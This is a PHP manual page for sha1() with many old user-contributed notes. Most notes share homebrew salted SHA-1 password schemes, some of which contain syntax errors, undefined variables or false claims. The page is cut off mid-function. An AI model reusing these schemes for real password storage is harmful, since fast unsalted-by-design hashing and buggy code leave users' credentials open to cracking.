Just try to keep this in mind if you decide to load the file's contents yourself, in lieu of using this function. On my system, I was able to use this function to generate the hash of a 2.6GB file in 22 seconds, whereas I could not with the second method, due to an out-of-memory error (which took 185 seconds).
vista_ at live dot se 23-Nov-2008 01:05
<?php
     if(!function_exists('sha1_file'))
     {
          function sha1_file($file = null)
          {
               if(is_null($file) || !file_exists($file))
               {
                    return trigger_error('File is null or does not exists');
               }

               return sha1(file_get_contents($file));
          }
     }
?>

Remember, it's important to write a corret url like this:
/home/snackzon/public_html/php/sha1.php
schiros at invisihosting dot com 06-Sep-2007 04:02
If you've got a script that allows user file upload, and you want to prevent multiple uploads of the same file:

    <?
        session_start();
        $isDuplicate = false;
        if(isset($_FILES["filename"]["tmp_name"]) && file_exists($_FILES["filename"]["tmp_name"])) {
            $fileHash = sha1_file($_FILES["filename"]["tmp_name"]);
            if(!isset($_SESSION["check_filelist"])) {
                $_SESSION["check_filelist"] = array($fileHash);
            }
            elseif(in_array($fileHash,$_SESSION["check_filelist"])) {
                $isDuplicate = true;
            }
            else {
                $_SESSION["check_filelist"][] = $fileHash;
            }

            if($isDuplicate) {
                echo "You've already uploaded that file";
            }
            else{
                // do some stuff
            }
        }

    ?>
admin at cmsrevolution dot com 05-Aug-2006 05:02
checking the sha1 of the file. ideal for download scripts making sure the file the user is downloading is not currupt
by checking the sha1 key

<?php
$filename = './Path/To/Your/File.zip';

if (file_exists($filename)) {
echo"i see the file";
} else {
echo "recheck the link file maybe broken";
}
$file = sha1_file('./Path/To/Your/File.zip');

echo"<br>is file hash valid?";
echo"hash = add the hash here<br>";
echo"hash of file :";
print($file);
?>
gubatron at gmail dot com 10-Feb-2006 04:02
P2P programs like LimeWire utilize sha1 to identify files. However they do it in base32. Here's an utility class if you want to write a Gnutella client in PHP5

/**
Utility base32 SHA1 class for PHP5
Copyright (C) 2006  Karl Magdsick (original author for Python)
                    Angel Leon (ported to PHP5)
                    Lime Wire LLC

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
class SHA1 {
  static $BASE32_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

  /** Given a file it creates a magnetmix */
  static function fileSHA1($file) {
    $raw = sha1_file($file,true);
    return SHA1::base32encode($raw);
  } //fileSHA1

  /** Takes raw input and converts it to base32 */
  static function base32encode($input) {
    $output = '';
    $position = 0;
    $storedData = 0;
    $storedBitCount = 0;
    $index = 0;

    while ($index < strlen($input)) {
      $storedData <<= 8;
      $storedData += ord($input[$index]);
      $storedBitCount += 8;
      $index += 1;

      //take as much data as possible out of storedData
      while ($storedBitCount >= 5) {
        $storedBitCount -= 5;
        $output .= SHA1::$BASE32_ALPHABET[$storedData >> $storedBitCount];
        $storedData &= ((1 << $storedBitCount) - 1);
      }
    } //while

    //deal with leftover data
    if ($storedBitCount > 0) {
      $storedData <<= (5-$storedBitCount);
      $output .= SHA1::$BASE32_ALPHABET[$storedData];
    }

    return $output;
  } //base32encode

}


Calculate the sha1 hash of a string

  • « sha1_file
  • similar_text »
  • PHP Manual
  • String Functions
  • Calculate the sha1 hash of a string

sha1

(PHP 4 >= 4.3.0, PHP 5)

sha1 — Calculate the sha1 hash of a string

Description

string sha1 ( string $str [, bool $raw_output = false ] )

Calculates the sha1 hash of str using the » US Secure Hash Algorithm 1.

Parameters

str

The input string.

raw_output

If the optional raw_output is set to TRUE, then the sha1 digest is instead returned in raw binary format with a length of 20, otherwise the returned value is a 40-character hexadecimal number.

Return Values

Returns the sha1 hash as a string.

Examples

Example #1 A sha1() example

<?php
$str = 'apple';

if (sha1($str) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') {
    echo "Would you like a green or red apple?";
}
?>

Notes

Note: Secure password hashing

It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See here for details.

See Also

  • sha1_file() - Calculate the sha1 hash of a file
  • crc32() - Calculates the crc32 polynomial of a string
  • md5() - Calculate the md5 hash of a string
  • hash() - Generate a hash value (message digest)
  • crypt() - One-way string hashing
  • password_hash() - Creates a password hash

User Contributed Notes

marcin at marcinwolny dot net 30-Jul-2013 12:32
Keep in mind that MD5 is less secure than SHA1.
Older CPUs can calculate MD5 over twice as fast as SHA1. GPUs in parallel calculations can handle MD5 over 3 times as fast as SHA1!

Two Radeon 79xx-series GPUs can calculate a rainbow table for 6-character lowercase MD5 password in... roughly 6 seconds!

Source: http://www.codinghorror.com/blog/2012/04/speed-hashing.html
php at wbhostmax dot de 01-Aug-2012 07:57
<?php
function DoubleSaltedHash($pw, $salt) {
    return sha1($salt.sha1($salt.sha1($pw)));
}

function generate_salt() {
        $dummy = array_merge(range('0', '9'));
        mt_srand((double)microtime()*1000000);
        for ($i = 1; $i <= (count($dummy)*2); $i++)
        {
                $swap = mt_rand(0,count($dummy)-1);
                $tmp = $dummy[$swap];
                $dummy[$swap] = $dummy[0];
                $dummy[0] = $tmp;
        }
        return sha1(substr(implode('',$dummy),0,9));
}
$pw="geheim"
$salt=generate_salt();
echo "hash:".DoubleSaltedHash($pw, $salt);

?>

this is my way to crypt passwords
mgcummings at yahoo dot com 21-Mar-2011 09:46
Thought I might save someone else some time trying to figure out how to generate a hash like MySQL5 PASSWORD() makes using just PHP.

$hash = '*' . sha1(sha1($pass), TRUE));
rich dot sage at gmail dot com 25-Nov-2010 09:59
If you're using Dovecot for mail retrieval and you want to generate SHA1 passwords yourself, you'll need to set the raw_output value to true, then base64_encode the output:

<?php
function makeDovecotPassword($input)
{
  return '{SHA}' . base64_encode(sha1($input, true));
}
?>
Anonymous 29-Oct-2009 02:48
Another solution to the salted hash with salt included directly in the hash, while keeping the same length of the result. If you want to generate a hash, call the function without the second argument. If you want to check a password against a hash, use the hash as the second argument. In this case, the function returns the hash itself on success, or boolean false on failure. You can also specify a hash algorithm as the third argument (otherwise SHA-1 will be used).

<?php
function __hash($password, $obscured = NULL, $algorithm = "sha1")
{
  // whether to use user specified algorithm
  $mode = in_array($algorithm, hash_algos());
  // generate random salt
  $salt = uniqid(mt_rand(), true);
  // hash it
  $salt = $mode ? hash($algorithm, $salt) : sha1($salt);
  // get the length
  $slen = strlen($salt);
  // compute the actual length of salt we will use
  // 1/8 to 1/4 of the hash, with shorter passwords producing longer salts
  $slen = max($slen >> 3, ($slen >> 2) - strlen($password));
  // if we are checking password against a hash, harvest the actual salt from it, otherwise just cut the salt we already have to the proper size
  $salt = $obscured ? __harvest($obscured, $slen, $password) : substr($salt, 0, $slen);
  // hash the password - this is maybe unnecessary
  $hash = $mode ? hash($algorithm, $password) : sha1($password);
  // place the salt in it
  $hash = __scramble($hash, $salt, $password);
  // and hash it again
  $hash = $mode ? hash($algorithm, $hash) : sha1($hash);
  // cut the result so we can add salt and maintain the same length
  $hash = substr($hash, $slen);
  // ... do that
  $hash = __scramble($hash, $salt, $password);
  // and return the result
  return $obscured && $obscured !== $hash ? false : $hash;
}
?>

It uses a random, variable length salt, depending on the length of the password. The functions __scramble() and __harvest() are used to place salt into the hash or pull it out respectively. You can write your own, and of course the strength of the result greatly depends on them. They can be relatively simple yet still quite secure:

<?php
function __scramble($hash, $salt, $password)
{
  return substr($hash, 0, strlen($password)) . $salt . substr($hash, strlen($password));
}

function __harvest($obscured, $slen, $password)
{
  return substr($obscured, min(strlen($password), strlen($obscured) - $slen), $slen);
}
?>

Or they can be ridiculously complicated (my favourite kind):

<?php
function __scramble($hash, $salt, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = ""; $m = 0;
  for ($i = 0; $i < strlen($salt); $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % (strlen($hash) + strlen($salt));
    while (array_key_exists($j, $index))
      $j = ++$j % (strlen($hash) + strlen($salt));
    $index[$j] = $i;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < strlen($hash) + strlen($salt); $i++)
    $out .= array_key_exists($i, $index) ? $salt[$index[$i]] : $hash[$m++];
  return $out;
}

function __harvest($obscured, $slen, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = "";
  for ($i = 0; $i < $slen; $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % strlen($obscured);
    while (in_array($j, $index))
      $j = ++$j % strlen($obscured);
    $index[$i] = $j;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < $slen; $i++)
    $out .= $obscured[$index[$i]];
  return $out;
}
?>
paul 15-Apr-2009 03:57
I believe this offers best amount of protection using a random salt, that has to be stored so it can be used later for verification.

If no salt is given (which can be retrieved by halving the output and taking the first half), then it will generate a random salt, hash it, place it in a position relative to the length of password (between 0 and length of hash type(sha1? md5?)) within the hashed password, and then hash the complete string.

This results in a password hash using a salt that is dynamically placed dependant on password length. The salt used is then appended to the front of the finished hash so it can be retrieved later on for verifying.

Seeing as users will choose a typical password of between 5 and say 15 characters long, this gives them an extra 10 times the amount of dictionary attacks to try out with the hash as it could be placed in any position, because this is a random generated salt too, it means at least 10 dictionary attacks (with possiblity of upto 40) for each instance a password is created, to try and work out your sha1 encrypted password.

If you change your password say every month, even if someone gets a look in at your file through a local exploit, the amount of time to work out your password would far outweigh the frequency at which you change it.

Nothing is secure, but this should take them longer to work out then the time you change it. That is at least by todays technologies.

Paul

<?php
    function createHash($inText, $saltHash=NULL, $mode='sha1'){
        // hash the text //
        $textHash = hash($mode, $inText);
        // set where salt will appear in hash //
        $saltStart = strlen($inText);
        // if no salt given create random one //
        if($saltHash == NULL) {
            $saltHash = hash($mode, uniqid(rand(), true));
        }
        // add salt into text hash at pass length position and hash it //
        if($saltStart > 0 && $saltStart < strlen($saltHash)) {
            $textHashStart = substr($textHash,0,$saltStart);
            $textHashEnd = substr($textHash,$saltStart,strlen($saltHash));
            $outHash = hash($mode, $textHashEnd.$saltHash.$textHashStart);
        } elseif($saltStart > (strlen($saltHash)-1)) {
            $outHash = hash($mode, $textHash.$saltHash);
        } else {
            $outHash = hash($mode, $saltHash.$textHash);
        }
        // put salt at front of hash //
        $output = $saltHash.$outHash;
        return $output;
    }
?>
mVamer 08-Jan-2009 02:49
If I correctly understand what ranko84 is on about, this would be a simpler function with roughly the same result.

<?php
function obscure($password, $algorythm = "sha1")
{
        // Get some random salt, or verify a salt.
        // Added by (grosbedo AT gmail DOT com)
        if ($salt == NULL)
        {
            $salt = hash($algorythm, uniqid(rand(), true));
        }

    // Determine the length of the hash.
    $hash_length = strlen($salt);

    // Determine the length of the password.
    $password_length = strlen($password);

    // Determine the maximum length of password. This is only needed if
    // the user enters a very long password. In any case, the salt will
    // be a maximum of half the end result. The longer the hash, the
    // longer the password/salt can be.
    $password_max_length = $hash_length / 2;

    // Shorten the salt based on the length of the password.
    if ($password_length >= $password_max_length)
    {
        $salt = substr($salt, 0, $password_max_length);
    }
    else
    {
        $salt = substr($salt, 0, $password_length);
    }

    // Determine the length of the salt.
    $salt_length = strlen($salt);

    // Determine the salted hashed password.
    $salted_password = hash($algorythm, $salt . $password);

    // If we add the salt to the hashed password, we would get a hash that
    // is longer than a normally hashed password. We don't want that; it
    // would give away hints to an attacker. Because the password and the
    // length of the password are known, we can just throw away the first
    // couple of characters of the salted password. That way the salt and
    // the salted password together are the same length as a normally
    // hashed password without salt.
    $used_chars = ($hash_length - $salt_length) * -1;
    $final_result = $salt . substr($salted_password, $used_chars);

    return $final_result;
}
?>
ranko84 at gmail dot com 17-Dec-2008 05:11
Small update..., well more like fix to the obscure function, replace
<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
    }
}
?>

with

<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        if ($hRPosition == 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition);
        }
        else
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }
}
?>

I've been getting few requests to explain how it's used so, this might be little long.

Problems:
1. In most solutions with hash and salt, you were bound to have one extra row in your database that would state, preferably random, salt for that hashed data. If attacker would manage to get drop of your database he would get hashed data and salt that is used with plain data to make it obscure, and then cracking that hashed data would be same as if you didn't add any salt to it.
2. I stumbled upon some functions that would hash data, then input salt into random places in hash and store it in database, but they would still have to write down random parameter used to scramble salt so they could reuse it when validating data. Getting simple database drop wouldn't help much here, but if they would manage to get their hands on obscuring function too, they could easily see what is salt and what hash.

Solutions:
1. Why use extra row to store salt when you can input it in hash. I'm not sure how attackers determine what type of hash are they facing, but I guess it has connection to hash length. In that case, why make attackers job easier and store in database data_hash+salt where they could assume just by it's length it has salt in there.
Reason behind $keepLength. If it's set to 1, strlen of hashed data plus salt would be equal to strlen of hashed data leading attacker to believe there is no salt.
If you leave $keepLength on NULL, strlen of final result would be strlen(used_hash_algorithm)+$hSLength.
$minhPass is there to reserve enough place for string that has to be hashed, so someone using this function wouldn't accidentally delete it by setting too high salt length ($hSLength), for example... if you set it 30000 it will keep working normal.

2. If you think about it, constant, but variable value when making input would be same data that is being input.
In case we're trying to hash password, and have user A with password "notme", password strlen equals to 5, and if we use default parameters of the function, with $keepLength set to 1, process would be:
random salt, hash it, add first 5 characters of hashed_salt at beginning of plain password, add last 5 characters of hashed_salt at end of plain password, hash it. Replace first 5 characters of hashed_password with first 5 character of hashed_salt, do same with last 5 characters of hashed_password, return hashed_password.
In case that string is longer than 10 characters function would use simple mathematics to reduce it to numbers lower than 10, well... lower than number that is stated in $hSLength.
And good thing is that every time user enters correct password it has same length so it's not necessary to write it anywhere.

So what is achieved in the end?
1. Attacker might not know that hash is salted, and you don't have that extra row in your database stating THIS IS SALT FOR THIS HASH.
2. If he does find out that it is, he wouldn't know what is hashed password and what is salt.
3. If he manages to get access to obscure function, only thing that might help him is value of $hSLength, where if $hSLength is set to 10 he would have to crack 10 variations of hashed string since he doesn't know how long password of user he's trying to crack is.
For example first variation would be hashed_password without last 10 characters, second variation would be hashed_password without first character and last 9 characters...
4. Even in case he has enough power to crack all 10 variations, resulting string that he might get doesn't necessarily has to be exactly long as password of original user in which case, attacker fails again.
Andre D 09-Oct-2008 03:28
Here's a better version of the getDigestNotation() function I posted earlier. (The first version had a bug in the argument checking.)

<?php
function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;
        $minCharLength = 2;

        while (strlen($chars) >= ($minCharLength *= 2)) {
            $bitsPerCharacter++;
        }

        unset($minCharLength);
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>
Andr D 06-Oct-2008 09:01
Sometimes you want the digest in both readable notation (such as hexadecimal) and raw binary. At other times you want the digest in a notation other than hexadecimal.

The following getDigestNotation() function takes a binary string and returns it in base 2, 4, 8, 16, 32, or 64 notation. It works with sha1(), md5(), hash(), or anything else that can output a raw binary string.

It works similar to the session.hash_bits_per_character php.ini configuration option.

You can specify which characters to use for each position, or use the default, which matches session.hash_bits_per_character (0-9, a-z, A-Z, "-", ","). The practical range of bits to use per character ($bitsPerCharacter) is 1 to 6; you may use more, but you will have to provide your own base character string ($chars) that is at least pow(2, $bitsPerCharacter) characters long. So even with 7 bits per character you need to specify a value for $chars that is 128 characters long, which exceeds the number of printable ASCII characters.

The output's radix relates to the value of $bitsPerCharacter as follows:
1: base-2 (binary)
2: base-4
3: base-8 (octal)
4: base-16 (hexadecimal)
5: base-32
6: base-64

<?php
$raw = sha1(uniqid(mt_rand(), TRUE), TRUE);

echo getDigestNotation($raw, 6);

function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;

        do {
            $bitsPerCharacter++;
        } while (strlen($chars) > pow(2, $bitsPerCharacter));
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>

Lastly, depending on the digest length, there may be fewer bits remaining for the last character than $bitsPerCharacter, so the last character will be smaller. The same thing happens with PHP's session ID generator, when 5 or 6 is used for session.hash_bits_per_character.
ranko84 at gmail dot com 09-May-2008 04:12
Thanks for the feedback. This should do the trick, I hope.
I think that I haven't understood this sentence completely "In this case you will need the salt to reside in the database along with the username and password." As in, were you refering to previous method, this method or this function.
Salt already resides in database along with username, password, or any string you decide to hash. This function just scrambles it depending on length of string (password) user enters so that attacker has trouble finding out what is salt and what is hash, if attacker even suspects that there is salt (reasons behind $keepLength, or defining $hSLength where you could set it to 24 leading attacker to believe he's facing sha256, not sha1).

<?php
function obscure ($hString, $hDecode = NULL, $hSLength = 10, $keepLength = NULL, $minhPass = 10, $hMethod = sha1)
{
    if ($hDecode == NULL)
    {
        for ($i = 0; $i<16; $i++)
        {

            $hSalt = rand(33, 255);
            $hRandomSalt .= chr($hSalt);
        }
        $hRandomSalt = hash($hMethod, $hRandomSalt);
    }
    else
    {
        $hRandomSalt = $hDecode;
    }

    if ($keepLength != NULL)
    {

        if ($hSLength > (strlen($hRandomSalt) - $minhPass))
        {
            $hSLength = (strlen($hRandomSalt) - $minhPass);
        }
    }
    else if ($hSLength < 0)
    {
        $hSLength = 0;
    }

    $hLPosition = strlen($hString);

    while ($hLPosition > $hSLength)
    {
        $hNumber = substr($hLPosition, -1);

        $hLPosition = $hLPosition * ($hNumber/10);
    }

    $hLPosition = (integer)$hLPosition;
    $hRPosition = $hSLength - $hLPosition;

    $hFSalt = substr($hRandomSalt, 0, $hLPosition);
    $hLSalt = substr($hRandomSalt, -$hRPosition, $hRPosition);

    $hPassHash = hash($hMethod, ($hLSalt . $hString . $hFSalt));

    if ($keepLength != NULL)
    {
        if ($hSLength != 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }

    return $hFSalt . $hPassHash . $hLSalt;
}
?>
nathan 26-Feb-2008 05:11
The suggestion below to double-hash your password is not a good idea.  You are much much better off adding a variable salt to passwords before hashing (such as the username or other field that is dissimilar for every account).

Double hashing is *worse* security than a regular hash.  What you're actually doing is taking some input $passwd, converting it to a string of exactly 32 characters containing only the characters [0-9][A-F], and then hashing *that*. You have just *greatly* increased the odds of a hash collision (ie. the odds that I can guess a phrase that will hash to the same value as your password).

sha1(md5($pass)) makes even less sense, since you're feeding in 128-bits of information to generate a 256-bit hash, so 50% of the resulting data is redundant.  You have not increased security at all.
ERASEthemasterswordsman at gmail dot com 11-Feb-2008 03:09
Please note that hashing a has is not completely secure, but can be used as an extra precaution (but not recommended):

<?php

sha1(md5($string));

?>
NoName 14-Sep-2007 12:26
Regarding the twistSTR - the problem is that currently it is relatively easy to generate a collision for any alphanumeric plaintext of a given, short length via e.g. a rainbow table. You're bettter off using a sufficiently lengthy and random salt.
novum123 at ribbonbazaar dot com 29-Nov-2006 05:54
So far as the dictionary attacks are concerned, I thought up the following function:

<?php
function twistSTR($array){
  $twisted="";
  $array_strlen=array();

  foreach ($array as $element){
    $array_strlen[]=strlen($element);
  }

  for ($i=0; $i<max($array_strlen); $i++){
    foreach ($array as $element){
      if ($i<strlen($element)){
        $twisted=$twisted.$element{$i};
      }
    }
  }

  return $twisted;
}
?>

The twistSTR function basically takes an array input of strings and alternates each character of each string among all the other strings.  For example:

<?php
echo twistSTR(array("this","and","that"));//output: tathnhidast
?>

It can be applied in the following manner:

<?php
if ($un===$_POST["username"] && $pwd===sha1(twistSTR(array($salt,$_POST["password"])))){
?>

It's not amazingly difficult to reverse engineer the actual output, but then again, that's not the point.  The point is that when a password is entered into one of those databases, they are going to enter for example "thisandthat", not "tathnhidast".
Gregory Boshoff 18-Oct-2006 01:23
Note that the sha1 algorithm has been compromised and is no longer being used by government agencies.

As of PHP 5.1.2 a new set of hashing functions are available.

http://www.php.net/manual/en/function.hash.php

The new function hash() supports a new range of hashing methods.

echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');

It is recommended that developers start to future proof their applications by using the stronger sha-2, hashing methods such as sha256, sha384, sha512 or better.

As of PHP 5.1.2 hash_algos() returns an array of system specific or registered hashing algorithms methods that are available to PHP.

print_r(hash_algos());
erling dot westenvik at gmail dot com 17-May-2006 03:15
Regarding php at REMOVEMEkennel17 dot co dot uk's note below:

The phrase: "To get the correct behaviour", would perhaps be better off if it read: "To get the wanted (but not recommended) behaviour".

Always honor the expected data types for functions: sha1 expects a string as input, and returns a string on exit. NULL, TRUE and FALSE are not string data types. The string "" is a string as good as "any". By following the "logic" that sha1("") should return "", then what should sha1("a") return? "b"? "c"?

An authentication system that allows for blank passwords is not really an authentication system in the first place. What you are describing is merely a way to tell the application that you want to see data in some specific context, like sorted by user name, etc. Create other tools for this purpose and leave the authentication system to deal with what it is supposed to do: Granting users access to restricted data and blocking other users from seeing the same data.

Don't store passwords in clear text, but salt and encrypt them. That way it makes perfect sense having <?php $sStoredPwd === sha1($sStoredSalt . $_POST["sTypedPwd"]); ?>, even with a blank "password". No other person than the user itself, not even the programmer, should know the password or be able to guess it. If the user forgets the password, a new one must be generated.

Regards,
Erling
php at REMOVEMEkennel17 dot co dot uk 20-Sep-2005 03:52
It should be noted that sha1("") does not return an empty string.  This means that if you are running a system that does not require users to have a password, the following code will not work as expected:

<?php
if ($StoredPassword == sha1($NewPassword))
    // Password good
?>

If $StoredPassword and $NewPassword are both blank, then the password should be treated as good, but because sha1("") != "" it will be treated as bad. To get the correct behaviour you need to use:

<?php
if (($StoredPassword == "" && $NewPassword == "") || ($StoredPassword == sha1($NewPassword)))
    // Password good
?>

(Note: I use a custom IsBlank() function instead of comparison against the empty string, so NULL values are also matched.)

For reference, here are a couple of special values put through sha1().  Note that sha1("") == sha1(NULL) == sha1(false), and also that sha1(0) != sha1(false)

"" -> da39a3ee5e6b4b0d3255bfef95601890afd80709
NULL -> da39a3ee5e6b4b0d3255bfef95601890afd80709
0 -> b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
1 -> 356a192b7913b04c54574d18c28d46e6395428ab
false -> da39a3ee5e6b4b0d3255bfef95601890afd80709
true -> 356a192b7913b04c54574d18c28d46e6395428ab
Dan 05-Sep-2005 07:12
I've noticed websites are now starting to require passwords of a certain length that MUST contain at least 1 non-alphanumeric character. This in itself makes dictionary attacks kind of useless. My web site requires that as well. It uses md5, and appends a site code into the md5 as well. And the include file that contains that site key is outside the public folders. I sure hope I've done enough to keep the bad boys out.
WTM 03-Aug-2005 04:30
Actually, the post by Helpful Harry won't improve your security except for the most simple break in attempts.  Since the random seed is attached to the end of the password hash, if you steal the hashed password, you steal the seed.

That means you can write a simple php program to call the pw_check function Harry included from a loop, feeding it dictionary words or random characters.

Of course, if you modified the program to use the seed in a more complicated way, "they" would have to know the new function's operation.  But then again, if someone can steal your password database, they can probably steal your website code (or guess it).
Helpful Harry 06-Jul-2005 07:21
check out these randomized sha1 password storage functions, they output a string of 50 characters, the first 40 characters being a sha1 output based on the last 10 characters - those being a random seed

to encode a password run pw_encode with the password, it'll return a different pseudo-random string every time - store this value.

to check a password run pw_check with the password attempt and the stored value, it'll return true on a match and false otherwise

these functions eliminate the pesky problem of dictionary matches being run on your password lists

<?php

function pw_encode($password)
{
   for ($i = 1; $i <= 10; $i++)
       $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return sha1($seed.$password.$seed).$seed;
}

function pw_check($password, $stored_value)
{
   if (strlen($stored_value) != 50)
      return FALSE;
   $stored_seed = substr($stored_value,40,10);
   if (sha1($stored_seed.$password.$stored_seed).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}

?>
alex at milivojevic dot org 28-Apr-2005 11:12
Regarding my previous comment, if you want to be on the safe side and use only ASCII printable seeds (shouldn't matter for SSHA seeds), something like this could be used:

<?php
$salt = substr(base64_encode(pack("H*", sha1(mt_rand()))), 0, 4);
?>
svn at datapirate dot de 20-Feb-2005 02:26
Wanna use SHA-2 algorithm? Try this:

Download Tar-Ball from http://www.adg.us/computers/sha.html
Compile (may occur some warnings) and test it:

cc -O2 -DSHA2_UNROLL_TRANSFORM -Wall -o sha2 sha2prog.c sha2.c
./sha2test.pl

Copy it to /usr/local/bin/ (don't forget to check permissions)

Here are two functions that could be used with:

function sha2($bits, $string){
    $sha2bin="/usr/local/bin/sha2";
    $echocmd="echo";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    $r=exec($echocmd." ".escapeshellarg($string)."|".$sha2bin." -q -".$bits, $sha2);
    return($sha2[0]);
}

function sha2_file($bits, $filename){
    $sha2bin="/usr/local/bin/sha2";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    if(!file_exists($filename)||!is_readable($filename))return(false);
    $r=exec($sha2bin." -q -".$bits." ".escapeshellarg($filename), $sha2);
    return($sha2[0]);
}

and use it like below:

<?php
$str = 'apple';
if (sha2(256, $str) === '303980bcb9e9e6cdec515230791af8b0ab1aaa244b58a8d99152673aa22197d0') {
   echo "Would you like a green or red apple?";
   exit;
}
?>
sinatosk at gmail dot com 22-Nov-2004 09:43
Heres an SHA1 function that will work on it's own completely. This is for users who are using below PHP 4.3.0. it works same as PHP5 ( being able to return raw output ).

<?php

/*
** Date modified: 1st October 2004 20:09 GMT
*
** PHP implementation of the Secure Hash Algorithm ( SHA-1 )
*
** This code is available under the GNU Lesser General Public License:
** http://www.gnu.org/licenses/lgpl.txt
*
** Based on the PHP implementation by Marcus Campbell
** http://www.tecknik.net/sha-1/
*
** This is a slightly modified version by me Jerome Clarke ( sinatosk@gmail.com )
** because I feel more comfortable with this
*/

function sha1_str2blks_SHA1($str)
{
    $strlen_str = strlen($str);

    $nblk = (($strlen_str + 8) >> 6) + 1;

    for ($i=0; $i < $nblk * 16; $i++) $blks[$i] = 0;

    for ($i=0; $i < $strlen_str; $i++)
    {
        $blks[$i >> 2] |= ord(substr($str, $i, 1)) << (24 - ($i % 4) * 8);
    }

    $blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);
    $blks[$nblk * 16 - 1] = $strlen_str * 8;

    return $blks;
}

function sha1_safe_add($x, $y)
{
    $lsw = ($x & 0xFFFF) + ($y & 0xFFFF);
    $msw = ($x >> 16) + ($y >> 16) + ($lsw >> 16);

    return ($msw << 16) | ($lsw & 0xFFFF);
}

function sha1_rol($num, $cnt)
{
    return ($num << $cnt) | sha1_zeroFill($num, 32 - $cnt);
}

function sha1_zeroFill($a, $b)
{
    $bin = decbin($a);

    $strlen_bin = strlen($bin);

